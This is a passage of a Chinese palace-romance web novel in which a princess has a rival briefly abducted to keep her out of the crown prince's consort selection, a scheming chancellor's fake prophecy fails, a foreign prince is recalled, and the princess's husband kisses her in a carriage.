她知道这手段不算光明正大,但对付薛宝芝和其背后虎视眈眈的薛家,或许是当前最直接有效的方法。 从紫宸殿出来直至登上回府的马车,姒华欢一直沉浸在自己的思绪中,眼珠滴溜溜地转,显然在盘算着什么。 谢昀坐在她对面,将她这副模样尽收眼底。每当她露出这种表情,多半是在打什么鬼主意,而且通常不是小事。 更是他有些在意的是,她几次悄悄抬眼看他,嘴唇微动,似乎想说什么却咽了回去,一副欲言又止的模样。 谢昀终于忍不住打破了沉默,有一丝淡淡的无奈道:“你到底想说什么?一路上欲言又止的,有什么事尽管说便是。” 被他点破,姒华欢犹豫一瞬,问道:“你的近身侍卫或心腹都是男的吗?” 谢昀疑惑,怎么突然问这个,没头没尾的。 “没有。”他说。 “哦。”姒华欢露出有点失望的表情。 “只是想问这个?” 姒华欢点点头,含糊道:“没什么,就是随口一问。” 谢昀明显不信,但看她不愿多说,也不再追问。 终于,马车停稳在侯府门前,谢昀率先下车,习惯性转身,伸出手,准备扶姒华欢下来。 然而姒华欢只是从车厢里探出头,并没有将手递给他,快速地说道:“我忽然想起有件急事,要去一趟卫国公府。” 说完根本不给谢昀反应的时间,立刻对车夫吩咐道:“去卫国公府。” 车夫愣了一下,不敢违逆公主的命令,连忙应声调转马头。 留下谢昀一个人站在原地,伸出的手还僵在半空中,一脸错愕。 他就这么看着马车绝尘而去。 所以姒华欢这一路上心神不宁,欲言又止,就是为了决定要不要和他说去卫国公府? 去卫国公府有什么难以启齿的?他还能不让她去不成? 谢昀皱着眉百思不得其解,只能无奈地看着马车消失在街角。 ***** 马车在卫国公府门前停下,门房见是康乐公主的车驾,不敢怠慢,一人连忙引她进府,另一人快步跑进去通报。 她刚走进叶殊宜的院子,便见穿着杏子黄襦裙的叶殊宜快步迎了出来。 “华欢?你怎么突然来了?”叶殊宜脸上带着惊喜和疑惑,拉着她的手上下打量,“可是出了什么事?” 姒华欢拉住她的手,微微正色道:“殊宜,我有要紧事找你。” 叶殊宜会意:“走,去我房里说。” 两人快步走到叶殊宜的闺房,叶殊宜对房内侍立的丫鬟们道:“你们先下去吧,没有吩咐,不必进来。” 下人们依言退下,并为他们关好了房门。 “搞得这么神秘?”叶殊宜挑眉看着姒华欢,“说吧,到底是什么大事?能让公主殿下如此郑重其事。” 姒华欢认真地看向叶殊宜:“殊宜,有一件事,我想找你帮忙,其他人我信不过。” 叶殊宜一听,挺直胸脯,颇有义气道:“你说。只要不是杀人放火,违背道义,能帮的我一定帮。” 姒华欢被她的话逗得稍稍放松了些,“不是杀人放火。” 她凑近叶殊宜,放低声音道:“我想让你寻个信得过的武婢,帮我绑个人。” “绑人?”叶殊宜惊得差点跳起来,眼睛瞪得溜圆,“绑谁?谁惹着你了?” 姒华欢按住她的手,示意她小声,“薛相嫡女,薛宝芝。” “薛宝芝?”叶殊宜更加疑惑了,“你绑她干什么?她哪里得罪你了?” 虽说薛宝芝此人确实有点假清高,看着不太顺眼,但也不至于…… 前世之事无法向叶殊宜言明,姒华欢只能说:“此事说来话长,其中缘由改日我有机会再向你详细解释,你只需知道我绝无伤害她之意,只是……” 她目光锐利起来,“后日,宫中会举办一场为太子选太子妃的选秀,我不能让薛宝芝参加。” 叶殊宜是知道薛家权势,以及薛宝芝想当太子妃的心,她似乎明白了什么:“你是不想让她做太子妃?” “对。所以我想找你帮忙,在后日选秀开始之前,想办法让人将薛宝芝带到郊外某个偏僻处。无需伤她,只需困住她,待选秀彻底结束,再将她安然无恙送回即可。” 叶殊宜虽然不知道具体原因,但她相信姒华欢这么做一定有她的道理。 而且只是暂时拘禁,不伤人,也不是什么十恶不赦的大事。 对付薛家那种虚伪的人,用点特殊手段好像也没什么不对? “不过,”叶殊宜问道,“你为何不找谢景初帮忙?” “他的近身侍卫和心腹都是男子,没有女子,不方便。你是我最亲近的闺中密友,想着你这里肯定有武婢,所以才来找你帮忙。” 叶殊宜本就是胆大包天,唯恐天下不乱的性子,此刻被姒华欢一托付,被信任的豪情和干坏事的刺激感油然而生。 她一拍大腿,爽快应道:“这有何难?不就是暂时请薛大小姐去郊外‘赏赏风景’嘛,包在我身上,小事一桩!” 见她答应地如此爽快,姒华欢一直悬着的心终于落下了。 叶殊宜眼中闪烁着兴奋的光芒,已经开始琢磨怎么把薛宝芝神不知鬼不觉地请出城了。 姒华欢看着跃跃欲试的叶殊宜,唇角微勾。 薛宝芝,这一次,太子妃的位置,你怕是连争的机会都不会有了。 第63章 怎么这一套,如今就行不…… 清晨, 姒华欢正慢条斯理用着早膳,姚黄快步从外面进来走到姒华欢身边。 “殿下,叶小姐那边派人来传话, 说事情已经办妥了, 薛大小姐如今已在郊外的庄子上安置好了,稳妥得很, 有人看着, 绝不会出差错。” 姒华欢舀动燕窝的动作未停, 只是眼睫微抬, 漫不经心地“嗯”了一声,表示知道了。一切都在预料之中,殊宜办事她向来放心。 坐在她对面的谢昀将主仆二人的低语听在耳中, 放下手中的粥碗,看向姒华欢:“薛宝芝?你把她绑了?” 姒华欢这才抬眼看他, 又“嗯”了一声, 算是回答。 这行事风格倒也确实符合她的脾性。认定了一件事, 便懒得迂回算计,直接寻个最简单粗暴的法子,把问题的根源解决掉,省时省力。 不过来找他岂不是更方便?还是不信任他吗? 谢昀放下筷子, 拿起旁边的绢布擦了擦手,问道:“此事怎么不来找我安排?” 姒华欢理所当然道:“那日马车里, 我不是问过你, 你手下没有女子,行事不便。掳走相府千金这种事,总不好让你手下那些男人去做吧,自然是去找殊宜更合适。” 谢昀这才恍然大悟, 原来那日她在马车上几番欲言又止,纠结半天竟是这事。 是了,他手下侍卫部曲虽多,但皆是男子,去绑一个大家闺秀确实诸多不便,也容易留下话柄。叶殊宜手下有女护卫和武婢,倒是再合适不过。 此刻薛府怕是已经忙翻天了。 正如谢昀所料,薛府此刻早已乱成了一锅粥。 天才蒙蒙亮,负责伺候薛宝芝梳洗的大丫鬟如常进入闺房,却发现室内空无一人。 起初还以为小姐是早起去了花园或书房,但遍寻府中各处皆不见踪影,问了守夜婆子和门房,皆言并未见小姐出门。 丫鬟回到薛宝芝闺房,在桌上发现了一张信笺,上面写着寥寥数字:“心中烦闷,出城采风,晚些便归,勿念。” 今日可是选秀之日,是薛家与薛宝芝盼了十几年的日子,薛宝芝为此准备了多久,费了多少心血。她怎么可能在这个节骨眼上,悄无声息地独自外出采风? 丫鬟立刻意识到大事不妙。 消息很快惊动了薛相和夫人,一看字迹,绝非薛宝芝亲笔,薛夫人当场就慌了神。 宝芝会不会是遇到了什么采花大盗?不然谁会天刚亮就出门采风啊! 薛相到底是经过大风大浪的,强自镇定,一边呵斥下人不得声张,一边立刻调动所有能调动的心腹仆从,在府内仔细搜索。同时又遣了几路人,在薛府周边以及各处可能去的几个地方暗中寻找。 这分明是被人设计了! 哪个不想让他薛家女儿成为太子妃的政敌下的黑手? 他不知道是谁在背后捣鬼,但想让他薛家的谋划落空,没那么容易! “找!继续找!府中、京城,就算掘地三尺也要把小姐给我找出来!”薛相压低声音对管家怒道,“记住,绝不能走漏风声,尤其不能让人知道大小姐是失踪了。” 未来的太子妃候选人在选秀当日莫名失踪,这传出去,无论原因为何,薛宝芝的名声就全毁了,她别想再踏进东宫半步了。 薛相在原地焦躁踱步,今日宫中选秀薛宝芝是必定要出席的,如今人不见了,该如何向宫里交代? 他眼珠急转,迅速做出了决断。 他招来另一名心腹低声吩咐:“你立刻去宫里,禀报皇后娘娘,就说……就说大小姐昨夜偶感风寒,今晨实在无法起身,恐病气冲撞了贵人,恳请告假。” 这是眼下最能保住颜面的说法。 心腹领命,匆匆离去。 薛相又换来一名心腹:“你立刻去太史局一趟,找到太史丞,就按我之前交代你的话说,务必让他明白该怎么做!” 紫宸殿外传来通传,称太史丞有急要事求见陛下。 嘉平帝听闻,便宣了他进来。 太史丞一进殿,便撩袍跪倒在地,语气激动:“陛下,臣经过连夜推演测算,终于找到了那位命格特殊,可承载国运,佑我大越昌隆的女子!” 嘉平帝放下朱笔,抬眸,看他面上看不出喜怒:“哦?是何人?” “回陛下,正是薛相嫡女,薛宝芝!”太史丞声音洪亮,“她的生辰八字与紫微星遥相呼应,乃是凤鸣九天,辅佐君王的极贵之格。太子若得此女为太子妃,必致使我大越国祚绵长,昌盛繁荣!” 好大的口气。 嘉平帝听完,脸上并未流露出欣喜之色,沉默了片刻,对侍立一旁的张公公淡淡问道:“张德全,今日参与考察的世家贵女们可都到齐了?” 张公公躬身回道:“回陛下,名册上的世家贵女,除了……除了薛相家的嫡女薛宝芝未到场,其余皆已在候着了。薛府一早派人来告假,说是薛大小姐昨夜偶感风寒,身子抱恙,恳请陛下恕罪。” 这么巧。 嘉平帝尚未开口,太史丞在下面听得真切,抓住机会接口道:“陛下,薛大小姐突然抱恙,此非偶然啊!定是今日有什么人的命格与贵人相冲,害得贵人身体抱恙。此乃不吉之兆,若强行继续今日选秀,恐对太子殿下不利,还请陛下三思!” 太史丞这慷慨激昂的一番话,其意图未免太过明显了些。 看来薛家是真的急了。 嘉平帝目光深深地看着太史丞,面上依旧没什么表情,让人猜不透他心中所想。 半晌,嘉平帝才缓缓开口:“你的意思是,因为一个秀女未至,因为你的一个推算,朕就要取消今日连乌兰国古丽公主都已亲至的考察?” “你可知道,若朕取消选秀,乌兰国会如何想?他们会认为朕在戏耍他们!届时边境再起烽烟,百姓遭殃。你是能替朕安抚乌兰,还是能披甲执锐,领兵去边境打仗?” 太史丞浑身一颤,额上渗出细密的冷汗。 他这才害怕起来,自己真真是被薛相害死了!一旦因此引发战事,或引得陛下猜疑,他十个脑袋也不够砍! “老臣……老臣失言!陛下恕罪!”太史丞慌忙叩首,声音颤抖。 嘉平帝道:“天象命理之说,玄之又玄,未必次次皆准。朕看你年事已高,为了推算这命格之事,怕是耗费了太多心神,以至于脑子都有些不清楚了。如此状态,如何还能精准观测天象,为我大越祈福避灾?” 太史丞惶恐抬头。 “念在你多年勤勉,没有功劳也有苦劳。这样吧,你便不必再如此操劳了,告老还乡,安享晚年吧。至于太子妃命格之事……”皇帝挥了挥手,“你就不必再挂心了,朕会命太史令重新推算。” 太史丞瘫软在地,面如死灰。 他为了报答薛相昔日的提携之恩,编造这“天命所归”的谎言。 却没想到,平时颇信神佛的嘉平帝根本不吃这一套,反而借着由头,直接将他罢官免职,赶回老家去了! 明明之前康乐公主和明安侯成婚,就是因为太史令算得二人八字相合,嘉平帝还乐不可支。怎么这一套,如今就行不通了呢! 太史丞张了张嘴,还想说什么,但看到皇帝威严的眼神,终究是颓然地低下了头,颤声道:“老臣……老臣……谢陛下隆恩……” ***** 驿馆内,阿史那卡伊正准备出门,一个低沉的声音从他身后响起:“站住。” 阿史那卡伊动作一顿,慢悠悠转过身,看向站在廊下的男子。 是他的王兄,乌兰国大王子。与阿史那卡伊张扬外放的气质不同,大王子身形更为魁梧结实,面容沉稳。 “大王兄,有何事?”阿史那卡伊挑眉,语气算不上恭敬。 大王子一步步走近,目光锐利地扫过他这一身精心打扮,最终落在他的脸上:“你又要去找那位康乐公主?” 阿史那卡伊若无其事地看着他,没承认也没否认,算是默认了。 大王子看着他这副油盐不进的模样,胸中怒火更炽,不再多言,直接从怀中取出一封封着火漆的信函,甩到了阿史那卡伊怀里。 “这是什么?”阿史那卡伊漫不经心地接住。 垂眸一看,只见信封上是熟悉的独属于父王的独特印记。他眉心微蹙,拆开火漆,抽出里面的信纸,目光快速扫过,他脸上的轻松和随意瞬间消失。 信是乌兰国王的亲笔,措辞严厉,直斥阿史那卡伊在大越都城的胡作非为,尤其是纠缠大越公主的行为,斥其“无知妄为,徒惹祸端”。勒令他接到信后,即刻起身速速滚回乌兰,不得有误。 阿史那卡伊的脸色阴沉下来,抬起头,碧色的眼眸中燃起怒火,直射向大王子:“大王兄向父王告我的状?” “阿史那卡伊,你看看你都在做些什么?公然纠缠大越皇帝最珍爱的女儿,当众挑衅他的驸马!你是嫌我们乌兰树敌不够多,想给乌兰招来灭顶之灾吗?” 大王子向前逼近一步,“你我都心知肚明,如今的乌兰早已不复鼎盛时期的荣光。连年白灾,各部族蠢蠢欲动,国库空虚,我们不过是靠着往日的余晖在强撑门面,不敢让南边看出虚实。” “你如此行径,若是彻底激怒大越嘉平帝,令他找到借口出兵北伐,我乌兰拿什么来抵挡?你告诉我!” “父王让我们此番前来,是带着诚意和亲,是为乌兰求得喘息之机,不是让你来挑衅生事,将乌兰推入险境的!” 阿史那卡伊一脸桀骜,冷哼道:“怕什么,大越如今也不过是外强中干,十几年前那个骠骑大将军早就战死沙场了。如今大越军中,哪还有当年之勇,何须惧之!” “骠骑大将军是战死了,可你知不知道,你现在纠缠的康乐公主,她的驸马谢昀就是那位骠骑大将军的独子!” 阿史那卡伊瞳孔微缩,显然这个消息他并未深探过。 谢昀那个看起来清俊文雅的男人,竟然是杀神骠骑大将军的儿子? 大王子看着他骤变的神色,冷笑道:“现在知道怕了?虎父无犬子,你以为谢昀只是个靠着公主吃软饭的小白脸?若非看在两国邦交的份上,你以为他只是揍你一拳便会轻易罢休?你屡次三分纠缠他的妻子,真当他谢家是泥捏的不成?” “圣寿节前,你派人打晕我,代我前去参加宫宴,这笔账我还没跟你算!但现在,我绝不能再容许你胡闹下去!” 大王子指着那封信,说道:“父王手谕在此,阿史那卡伊,你若还认自己是乌兰的王子,还顾念一丝乌兰的存亡,就立刻收拾行装自己滚回乌兰去!否则我便奉父王之命,亲自将你绑回去!” 阿史那卡伊胸膛剧烈起伏,碧眼之中戾气翻滚,死死盯着大王子,拳头捏得咯咯作响。侍从们远远站着,大气都不敢出。 兄弟二人对峙着,最终阿史那卡伊将满腔的怒火和不服,化作了一声冷哼,转身,大步流星返回了自己的房间,“砰”一声重重摔上了门。 大王子看着那扇紧闭的房门,重重地叹了口气,眉宇间忧色更深了。 他这个弟弟被父王宠坏了,从来不知天高地厚,更不懂得有时候一时的意气之争,足以葬送整个部族的未来。 他们此番前来,就是为了完成和亲的任务。若是今日古丽没有通过大越皇帝的考察,那么他们还可以退而求其次,与大越皇帝缔结和平共处的盟约。 他绝不能让这个不知轻重的弟弟坏了此等大事—— 作者有话说:明天就恢复小情侣甜甜二人转了[黄心][黄心] 第64章 一个真正意义上的吻 姒华欢与谢昀一同乘车前往宋太师寿宴。 宋太师乃三朝元老, 为人正直,清正廉洁,虽已致仕, 却仍受敬仰。所以寿宴之上宾客如云, 觥筹交错,气氛颇为和睦。 快要结束时, 姒华欢离席更衣后, 正欲返回, 却在抄手游廊碰见了一个人。 “微臣参见公主殿下。”来人躬身行礼, 声音温和。 姒华欢驻足,看清来人,是林珩。 有些日子未见, 她一眼便能看出,他眉宇间萦绕着一股挥之不去的疲惫之色。 “免礼。”姒华欢随口说道, “林侍郎的气色似乎不佳。” 林珩闻言, 露出一抹无奈的苦笑, 叹了口气道:“劳公主挂心。确实近来刑部事务繁多,尤其是大理寺那边……” “大理寺?”姒华欢顺着他的话问。 林珩抬眼看了看她,欲言又止,但最终还是斟酌着开口说道:“说起来, 也不知是微臣做得哪里不妥,近来大理寺对刑部复核的许多案件, 都颇为……严苛。” “许多已结案的卷宗, 都被打回要求重审,或是提出诸多疑点。微臣与同僚们连日核对查证,忙得脚不沾地,微臣亦是连熬几个通宵了。以此面容见公主殿下, 还请殿下恕罪。” 他这话说得颇为含蓄,姒华欢一想便知是谢昀在故意找刑部的麻烦,增加不必要的工作量。 谢昀到底怎么回事?这般针对林珩,竟还利用职权给林珩和刑部使绊子,未免有些过了。 “竟有此事?”姒华欢道,“我知道了。” 林珩似是意识到自己的话听起来像告状,连忙道:“公主千万别误会,微臣绝无抱怨驸马之意!更不愿因微臣之故,令公主与驸马生了嫌隙!” “驸马身为大理寺少卿,办事严谨,秉公执法乃臣子本分。是微臣能力有限,未能将差事办得尽善尽美,才劳得驸马如此费心劳神,还累及同僚……” 他这一“辩解”,倒更像是谢昀咄咄逼人,无理取闹,欺负老实人了。 姒华欢不由蹙起眉。 这林珩,性子也太过温吞了些,不知道背后忍气吞声了多少才坐得今日的位子。 她不免对林珩生出几分同情,正不知该如何接话,杜风快速走了过来,先是对着她行了一礼,面带难色道:“殿下,侯爷他……他饮多了些酒,此刻在那边不肯走,说要见您,才肯上马车回府。” 姒华欢这才注意到宴席已经结束了,宾客们三三两两地向外走去。 就见谢昀摇摇晃晃地扶着墙走出来,倚着一棵老槐树,衣袍在晚风中晃荡,瞧着像是站不稳。 他个头比寻常人高出不少,站在人群中很是显眼。他平日里姿态向来从容优雅,此刻却罕见地失了态,惹得宾客们不禁频频投去目光。 满园目光灼灼,窃窃私语如同潮水般悄然漫上来。 若是从前,姒华欢才懒得管他,巴不得他丑态百出丢尽脸面。 可他现在不只是明安侯,还是她名义上的驸马。他丢人,不仅丢的是他自己的脸面,还要牵连她。 姒华欢环顾一圈向她不断投来的八卦眼神,一脸嫌弃道:“快些把他扶上马车。”说完,先行提裙离开。 杜风一喜,赶忙去搀扶谢昀,把他的一条胳膊架到自己肩上,让谢昀把大半重量都压在自己身上,半拖半抱地往外挪。 两人靠得极近,几乎头挨着头,杜风低声道:“侯爷,殿下先上马车了。” 谢昀半阖着眼,依旧醉醺醺的模样,脚步虚浮,轻轻“嗯”了一声。 车帘被撩开,谢昀被杜风塞了进来,一股混合着清冽兰香与浓郁酒气的味道瞬间弥漫了整个车厢。姒华欢往里缩了缩,挪到最里侧。 谢昀意识不清地摸索着,最后精准地一屁股坐到姒华欢旁边。 马车行驶起来,姒华欢抱着胳膊往旁边闪躲,用下巴朝对面那空着的锦垫扬了扬,命令道:“坐到那边去。” 谢昀没动。 马车颠簸了一下,借着这一晃,他整个人像被甩了过来,不仅没挪去对面,反而向她身边又蹭近了几分,几乎是肩膀挨着肩膀。 好端端的长那么宽的肩做什么。 姒华欢被挤得没法,只得站起身,微微弓着腰,两步跨到另一侧座位上。 谁料谢昀也跟着起身,再次坐到了她身侧,整个上半身像没有骨头似的,结结实实靠在了她肩膀上。 “谢昀!”姒华欢抬手,用力去推他沉重的身躯,“你给我起来!” 可这人是赖定了,像长在她身上似的,任凭她推搡,纹丝不动,反而顺着她的力道,得寸进尺地把脑袋往下埋了几分。 滚烫的呼吸毫无遮挡地喷在她的颈窝中,激起一小片战栗。 更过分的是,他还用高挺的鼻梁在她颈侧的皮肤上,像焦焦似的迷迷糊糊蹭了两下,声音闷闷的:“别动了,我头好晕。” 姒华欢第一次知道,这家伙喝醉后这么会耍无赖! 一股热血直冲面颊,她嘟囔道:“活该。谁让你喝那么多酒,自找的。” “都怪你……” 姒华欢:“?” 她感到肩膀一轻,那颗沉甸甸的脑袋毫无预兆地抬了起来。他倾身,伸手搭在她身后的车厢壁上,将她困在中间。 昏暗的光线下,谢昀的脸近在咫尺,他的眼神迷离中带着探究:“为什么?” “什么为什么?”姒华欢没想到他会突然发问,动作一滞。 谢昀声音压得很低,控诉道:“那林珩究竟有何过人之处?值得你这般上心?” 他与她在同一水平线上四目相对,琥珀色的眸子中幽光流转,渴望着被注视。 “你好好看看我,论相貌、论才情、论家世,我哪一点不如他?还是说,你只喜欢他那样事事顺从的男人?” 温热的呼吸拂过面颊,姒华欢一时失语,只能怔怔地望着眼前放大的俊颜。 近到能看清他鼻梁上那颗微小的痣,以及眼角处一块极淡极浅的白色疤痕。 这道疤,是她儿时一次生气时,朝他扔东西划破的,他当时竟不知躲闪。 空气安静了一会儿,姒华欢微眯起眼。 他这又是在闹哪一出? 她不说话,谢昀也不说话,只眼睛定定地盯着她,脸上带着淡淡的执拗。 姒华欢被他的灼灼目光盯得有些不自在,微微偏头,“那你又是为什么盯着林珩不放,刁难林珩,还牵连整个刑部?” “刁难?”谢昀像是被这两个字刺了一下,“他居然向你告状。” “我按律复核刑部卷宗,查出疑点,要求重审,这叫针对?还是说,在你心里,他林珩就半点错处都挑不得,我依法办事,便是刻意刁难?” 姒华欢道:“你……你分明是强词夺理。那么多案件,你偏偏这段时间集中复核,还尽挑他经手的案子,你敢说你不是故意的?” “是又如何?”谢昀突然承认了,他身体前倾,拉近两人之间的距离,温热的呼吸拂过她的面颊,“我就是看他不顺眼,刁难他,你待如何?” 他这般无赖模样让姒华欢一时语塞,“你简直不可理喻。我看你就是嫉妒!” “嫉妒?”谢昀像是听到什么好笑的话,嗤笑一声,“我嫉妒他什么?嫉妒他能让你如此维护?嫉妒你们关系如此亲近?” 他这话里的醋意,几乎浓得化不开了。 他不明白,姒华欢到底看上林珩什么了?关系竟比他这个青梅竹马更为亲近! 姒华欢下意识反驳:“你胡说什么!谁跟他关系亲近了?我们见面的次数一只手都数得过来!” “不亲近?”谢昀挑眉,“不亲近你为何次次驻足与他倾谈?不亲近你为何次次为他说话?不亲近你为何一听他的‘委屈’,便来质问我?” 他问得又快又急,语气愈发强势。 姒华欢觉得谢昀简直就是答非所问,不可理喻。情急之下,脱口而出:“明明是你和我关系最亲近好不好!” 这话一出口,不仅谢昀愣住了,连姒华欢自己也呆住了。 她怎么会说出这种话? 她恨不得咬掉自己的舌头,慌忙将视线转向一边,不敢看他。 车厢内有一瞬间的寂静,只有彼此紊乱的呼吸声。 半晌,谢昀忽然低低笑了起来,不再是之前的自嘲,而是发自内心的愉悦。 他再次凑近,手臂收得更紧,将她困在了车厢角落,声音喑哑,带着诱哄:“你刚才说什么?我没听清,你再说一遍,嗯?” “我,我什么都没说!你听错了!”姒华欢想从他的手臂下钻出去,却被一把捞回去。 “我没听错。”谢昀笃定道。 他的目光从她躲闪的眼睛,慢慢下移到她的唇瓣上。 姒华欢感知到他的视线,紧张地舔了舔唇,掩饰自己内心的慌乱。 那嫣红莹润的色泽如同沾了露珠的花瓣,在昏暗的光线下无比诱人。 谢昀眸色一深,不再犹豫,不再给她任何逃避的机会,低头便吻了上去。 姒华欢猝不及防:“唔……” 他的唇瓣带着微凉的温度,先是温柔地试探,贴合着她的唇,轻轻蹭着,来回研磨,极尽耐心地引诱她,诱哄她放松。 那触感柔软,但带着不容抗拒的意味,磨得姒华欢心尖发颤,浑身酥麻,竟一时忘了推开他,双手不知不觉间抓住了他胸前的衣襟。 见她没有剧烈反抗,渐渐软化,谢昀的吻逐渐加深。 他不再满足于浅尝辄止,舌尖灵巧抵进她的齿关,深入纠缠。 这是一个真正意义上的吻,炽热而缠绵。他们二人身上的香味缠绕在一起,混着淡淡的酒气,令人迷醉。 姒华欢在宴会上也饮了些果酒,她觉得此刻酒劲忽然就上来了,一股热流涌向四肢百骸,力气也被抽干,手脚发软,呼吸也变得困难起来。 她不自觉主动仰起脖颈,被动承受着他热烈的索取,大脑昏昏沉沉,仿佛漂浮在云端,只能凭借本能生涩地回应。 不知过了多久,就在姒华欢觉得自己快要窒息晕过去的时候,马车一顿,停了下来。 外面传来车夫的声音:“公主,侯爷,侯府到了。” 这一声把姒华欢拉回现实,她倏地睁开眼,与谢昀分开。 她大口喘着气,脸颊绯红,眼神迷离,嘴唇被吻得红肿,泛着更加水润的光泽。 她对上谢昀近在咫尺的眸子,他哪里还有半分醉意?眼神清明,带着得逞后的笑意和餍足。 谢昀额头抵着她的额头,呼吸稍有些急促,低低地笑着:“现在,知道谁和你最亲近了?” 姒华欢这才彻底回过神来,怒道:“谢昀!你根本就没有醉!” 谢昀但笑不语,只是用那双深邃的眸子含笑望着她,欣赏她此刻羞愤交加的可爱模样。 姒华欢想起刚才自己沉溺其中的模样,肯定都被这家伙看在眼里了。 她此刻羞得恨不得钻进地缝中去,一把推开他,落荒而逃。 谢昀并未立刻下车追去,依旧维持着刚刚的姿势靠在车厢壁上,抬手轻轻抚过自己的嘴唇,那里似乎还残留着她柔软的触感和香甜的气息。 他唇角抑制不住地向上扬起,心情是从未有过的舒畅。 嗯……那明日少送几个卷宗给刑部吧。 第65章 一言不合就亲她 嘉平帝每隔几年便会微服私访, 体察民情。今年因他国使团等一连串事情绊住了脚,难以离京,便将这差事交给了太子, 命他先在京城周边的几个县镇走走看看, 也算是一种历练。 姒华欢得知消息后,立刻跑去向嘉平帝软磨硬泡, 非要跟着一起去。 嘉平帝起初不允, 毕竟外出多有不便, 也怕有危险。但实在拗不过她, 只得点头同意,谴了许多侍卫跟随保护,再三叮嘱姒华容务必照顾好她。 出发这日, 两辆看似普通,却内里宽敞舒适的马车停在宫门外, 随行的皆是精干的便装羽林军, 分散在前后, 并不惹眼。 让姒华欢有些意外的是,临出发前,谢昀竟然也来了,并且十分自然地登上了她的马车。 马车驶离皇宫, 朝着京郊方向行去。 车厢内,姒华欢看着对面气定神闲的谢昀, 狐疑道:“你前些日子不是还和刑部那边忙得不可开交, 怎的突然就闲下来了,还非要同我一起去?” 谢昀理直气壮道:“就是因为前些日子都忙完了,如今才得空休憩即日,正好陪你出去走走。” “更何况近来周边不甚太平, 有消息称偶有山匪出没。我不在你身边保护你,万一路上遇到什么险情,你让我去哪哭?” 他本是随口一说,却不想“哭”这个字眼吸走了姒华欢所有的注意。 她又想起之前那个梦,谢昀在她面前哭得肝肠寸断,偏偏趁得他那张本就俊美的脸庞有种惊心动魄的脆弱美感。 姒华欢眼神飘忽了一下,喃喃道:“说起来……我好像从来没见你哭过。” 谢昀奇怪地看着她,眉梢微挑:“怎么?你很喜欢看人哭?” 在他看来,哭是世上最无用的东西。尤其是在她面前,流泪除了显得自己无能,平添她厌烦之外,还能有什么作用? 姒华欢被他这么一问,反倒仔细思考了一下。 她发现自己对别人哭毫无兴趣,甚至觉得厌烦。 可独独一想到谢昀哭……尤其是梦里那般画面,心里莫名泛起一种莫名的兴奋感? 这感觉让她自己都吓了一跳。 可能是因为窥见了他不为人知的另一面,一种极致的反差导致的吧。 她的沉默,在谢昀眼中便成了不置可否。 谢昀看她的眼神微妙起来,还有几分开悟。 原来她竟还有这种癖好?喜欢看人哭? 姒华欢正沉浸在自己的回味里,忽觉有人靠近,回过神就见谢昀不知何时缓缓倾身凑近,一只手撑在她身侧的小几上,整个上半身几乎笼罩了她。 又是这样的姿势! 姒华欢的心跳漏了一拍。 他想干什么?难道又要…… 随着他越靠越近,姒华欢只觉得脸颊发烫,脑子晕晕乎乎的,竟然鬼使神差地闭上了眼睛。 长长的睫毛如蝶翼般轻轻颤动,完全暴露了她此刻的紧张与期待。 然而,预想中的温软并未落下。 半晌,她只听到一声低笑。 她疑惑地睁开眼睛,就见谢昀那张放大的俊脸上是忍俊不禁的表情,他眸中笑意流转,故意慢悠悠问道:“你闭眼睛做什么?” 姒华欢一愣,随即看到他收回手臂,手中拿着的,是放在小几上的茶碗。 原来他只是越过她去拿茶碗! 意识到自己会错了意,还自作多情地闭上了眼睛,姒华欢的脸轰一下全红了,一直红到了脖颈上。 “我……”姒华欢张了张嘴,却找不到任何借口,只能强装镇定,嘴硬道,“因为……你离太近了!我不想看到你!” 都怪谢昀!总是这样!把她也带坏了,脑子里一天天的都不知道在想什么乱七八糟的东西! 谢昀看着她通红的脸颊和闪烁的眼神,心情愈发愉悦。他慢条斯理地喝了一口茶,然后再次倾身,将茶碗放回小几上。 这一次,他没有退回,手臂依旧维持撑在桌角的姿势,就着这个极近的距离,与姒华欢四目相对。 他戏谑道:“嘴这么硬?” 温热的气息拂过她的面颊,带着清茶的微香。姒华欢被他蛊惑般的眼神看得心慌意乱,刚想反驳,他已然低头,贴上了她的唇瓣。 不同于上一次马车里循序渐进的深吻,这个吻不算特别深入,甚至带着点捉弄的意味。 姒华欢下意识抬手锤了他一下,想让他起开。 她这个动作非但没起到任何效果,反被他另一只空着的手自然地绕到她颈后,温热的手掌贴合着她的肌肤,握着她纤细的脖颈,将她向他压近了几分。 她彻底无法思考了,抵在他胸前的手不自觉微微蜷缩起来。 这个吻并未持续很久,在姒华欢彻底沉溺之前,谢昀却先一步退开了。 离开前,他用鼻尖蹭了蹭她的鼻尖,低低一笑:“啧,这不是挺软的嘛。” 姒华欢终于彻底回过神,抬起手在他肩膀上不轻不重锤了一下,嗔怒道:“……你怎么总这样!” “哪样?”谢昀好整以暇地退开些许,看着她,明知故问。 姒华欢语塞。 当然是一言不合就亲她! 他到底什么意思啊! 不过她说不出口。倒不是因为害羞说不出,而是她敢肯定,若是她说出来,这人指不定又要说出什么更不知羞的话来堵她。 “满意了吗?”谢昀问。 姒华欢知道他是在调侃她方才闭眼期待的动作,咬了咬还有些发麻的嘴唇,转头端起了小几上的茶碗,低头小口小口地抿着。 谢昀也不说话,就那么靠在软垫上,目光一直落在她脸上,带着毫不掩饰的玩味。 姒华欢在他的注视下愈发不自在,忍不住抬眼,水润的眸子瞪他:“你总看着我做什么?” 谢昀唇角弯起一个更大的弧度,慢悠悠道:“因为,你喝的,是我那杯。” “噗——咳咳咳!”姒华欢险些一口茶水喷出来,被呛得连连咳嗽,像是被烫到一般,飞快地将茶碗放回小几上。 接连的尴尬让她简直无地自容,眼神在马车里乱看,看有没有什么缝能让她钻进去。 谢昀看着她整个人都染上粉红的羞窘模样,吃吃地笑起来,正想再说点什么逗她,行驶中的马车却缓缓停了下来。 姒华欢如蒙大赦,立刻掀开帘子,探头向车外问道:“怎么了?” 只见官道旁,停着一辆略显华丽的马车,似乎是车辕出了问题,几个仆从正围着查看。 马车旁,站着一位身着浅碧色衣裙,身姿窈窕的女子。 不是别人,正是薛宝芝。 此刻她正微蹙着眉,仰头与前面马车中的姒华容说着什么,神情楚楚可怜。 姒华欢脸色一寒,二话不说,掀帘下车,几步便走到了薛宝芝面前。 “你怎会在此处?” 薛宝芝被突然出现的姒华欢吓了一跳,连忙面对他规规矩矩地屈膝行了一个礼,姿态柔婉,有几分不好意思道: “臣女参见公主殿下。回殿下的话,臣女今日出门,本是想到别院小住两日,采风作画,不想马车行至此处,车辕突然坏了。” “臣女与仆从正不知如何是好,见有车驾经过便想厚颜求助,看能否搭上一程。万万没想到,竟是太子殿下与公主殿下的车驾,实在是唐突了。” 